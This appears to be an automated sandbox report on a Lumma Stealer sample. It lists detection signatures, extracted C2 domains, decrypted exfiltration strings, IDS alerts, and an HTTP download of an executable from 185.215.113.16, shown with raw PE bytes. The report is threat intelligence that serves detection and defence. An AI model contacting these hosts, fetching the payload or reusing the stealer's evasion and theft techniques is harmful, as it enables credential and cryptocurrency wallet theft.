Edit tour

Windows Analysis Report
RDb082EApV.exe

Overview

General Information

Sample name:	RDb082EApV.exe renamed because original name is a hash value
Original sample name:	8c6bc86968ef348064806000613733ae.exe
Analysis ID:	1581257
MD5:	8c6bc86968ef348064806000613733ae
SHA1:	63292d9c60d2b1a149998984ea0d599409947139
SHA256:	1dc0e9e5b2b64994cae6b9e7ce5d1e5ec7a96123042f2bb729e025778d1c68b6
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

RDb082EApV.exe (PID: 6360 cmdline: "C:\Users\user\Desktop\RDb082EApV.exe" MD5: 8C6BC86968EF348064806000613733AE)

chrome.exe (PID: 4888 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=RDb082EApV.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5076 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2188 --field-trial-handle=1736,i,806140017804911872,2372553544258295183,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7912 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=RDb082EApV.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 8104 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1168 --field-trial-handle=2012,i,9289619090214148228,11069528747453188338,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["appliacnesot.buzz", "hummskitnj.buzz", "scentniej.buzz", "cashfuzysao.buzz", "rebuildeso.buzz", "inherineau.buzz", "mindhandru.buzz", "prisonyfork.buzz", "screwamusresz.buzz"], "Build id": "LOGS11--LiveTraffic"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.1822756808.00000000007DC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1822268061.00000000007DA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RDb082EApV.exe PID: 6360	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: RDb082EApV.exe PID: 6360	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RDb082EApV.exe PID: 6360	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 1 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T09:12:41.413706+0100	2028371	3	Unknown Traffic	192.168.2.4	49730	104.21.11.101	443	TCP
2024-12-27T09:12:43.403771+0100	2028371	3	Unknown Traffic	192.168.2.4	49731	104.21.11.101	443	TCP
2024-12-27T09:12:45.797366+0100	2028371	3	Unknown Traffic	192.168.2.4	49732	104.21.11.101	443	TCP
2024-12-27T09:12:48.187392+0100	2028371	3	Unknown Traffic	192.168.2.4	49733	104.21.11.101	443	TCP
2024-12-27T09:12:50.592012+0100	2028371	3	Unknown Traffic	192.168.2.4	49734	104.21.11.101	443	TCP
2024-12-27T09:12:53.555988+0100	2028371	3	Unknown Traffic	192.168.2.4	49735	104.21.11.101	443	TCP
2024-12-27T09:12:56.754875+0100	2028371	3	Unknown Traffic	192.168.2.4	49737	104.21.11.101	443	TCP
2024-12-27T09:13:02.156973+0100	2028371	3	Unknown Traffic	192.168.2.4	49741	104.21.11.101	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T09:12:42.179531+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49730	104.21.11.101	443	TCP
2024-12-27T09:12:44.180706+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49731	104.21.11.101	443	TCP
2024-12-27T09:13:02.928675+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49741	104.21.11.101	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T09:12:42.179531+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49730	104.21.11.101	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T09:12:44.180706+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49731	104.21.11.101	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T09:13:04.449107+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	49743	185.215.113.16	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T09:12:54.366420+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49735	104.21.11.101	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: RDb082EApV.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://mindhandru.buzz/)	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/api-	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/apindow	Avira URL Cloud: Label: malware

Found malware configuration

Source: RDb082EApV.exe.6360.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["appliacnesot.buzz", "hummskitnj.buzz", "scentniej.buzz", "cashfuzysao.buzz", "rebuildeso.buzz", "inherineau.buzz", "mindhandru.buzz", "prisonyfork.buzz", "screwamusresz.buzz"], "Build id": "LOGS11--LiveTraffic"}

Multi AV Scanner detection for submitted file

Source: RDb082EApV.exe	Virustotal: Detection: 72%			Perma Link
Source: RDb082EApV.exe	ReversingLabs: Detection: 65%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: RDb082EApV.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000003.1693723088.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String decryptor: hummskitnj.buzz
Source: 00000000.00000003.1693723088.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String decryptor: cashfuzysao.buzz
Source: 00000000.00000003.1693723088.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String decryptor: appliacnesot.buzz
Source: 00000000.00000003.1693723088.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String decryptor: screwamusresz.buzz
Source: 00000000.00000003.1693723088.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String decryptor: inherineau.buzz
Source: 00000000.00000003.1693723088.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String decryptor: scentniej.buzz
Source: 00000000.00000003.1693723088.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String decryptor: rebuildeso.buzz
Source: 00000000.00000003.1693723088.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String decryptor: prisonyfork.buzz
Source: 00000000.00000003.1693723088.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String decryptor: mindhandru.buzz
Source: 00000000.00000003.1693723088.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000003.1693723088.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000003.1693723088.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000003.1693723088.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000003.1693723088.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000003.1693723088.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String decryptor: LOGS11--LiveTraffic

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=RDb082EApV.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=RDb082EApV.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=RDb082EApV.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=RDb082EApV.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=RDb082EApV.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Source: RDb082EApV.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.4:49741 version: TLS 1.2

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49730 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49730 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49735 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49741 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49731 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49731 -> 104.21.11.101:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: appliacnesot.buzz
Source: Malware configuration extractor	URLs: hummskitnj.buzz
Source: Malware configuration extractor	URLs: scentniej.buzz
Source: Malware configuration extractor	URLs: cashfuzysao.buzz
Source: Malware configuration extractor	URLs: rebuildeso.buzz
Source: Malware configuration extractor	URLs: inherineau.buzz
Source: Malware configuration extractor	URLs: mindhandru.buzz
Source: Malware configuration extractor	URLs: prisonyfork.buzz
Source: Malware configuration extractor	URLs: screwamusresz.buzz

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 27 Dec 2024 08:13:03 GMTContent-Type: application/octet-streamContent-Length: 2784256Last-Modified: Fri, 27 Dec 2024 07:39:36 GMTConnection: keep-aliveETag: "676e59b8-2a7c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 bf 73 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 40 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 06 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 72 69 63 73 72 68 71 6f 00 00 2a 00 00 a0 00 00 00 ec 29 00 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 74 78 6a 72 66 65 63 00 20 00 00 00 a0 2a 00 00 06 00 00 00 54 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 c0 2a 00 00 22 00 00 00 5a 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49737 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49732 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49730 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49734 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49741 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49733 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49731 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49735 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49743 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic

HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_87.6.dr, chromecache_109.6.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_87.6.dr, chromecache_109.6.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
Source: chromecache_87.6.dr, chromecache_109.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
Source: chromecache_87.6.dr, chromecache_109.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
Source: chromecache_87.6.dr, chromecache_109.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)

Source: global traffic	DNS traffic detected: DNS query: mindhandru.buzz
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

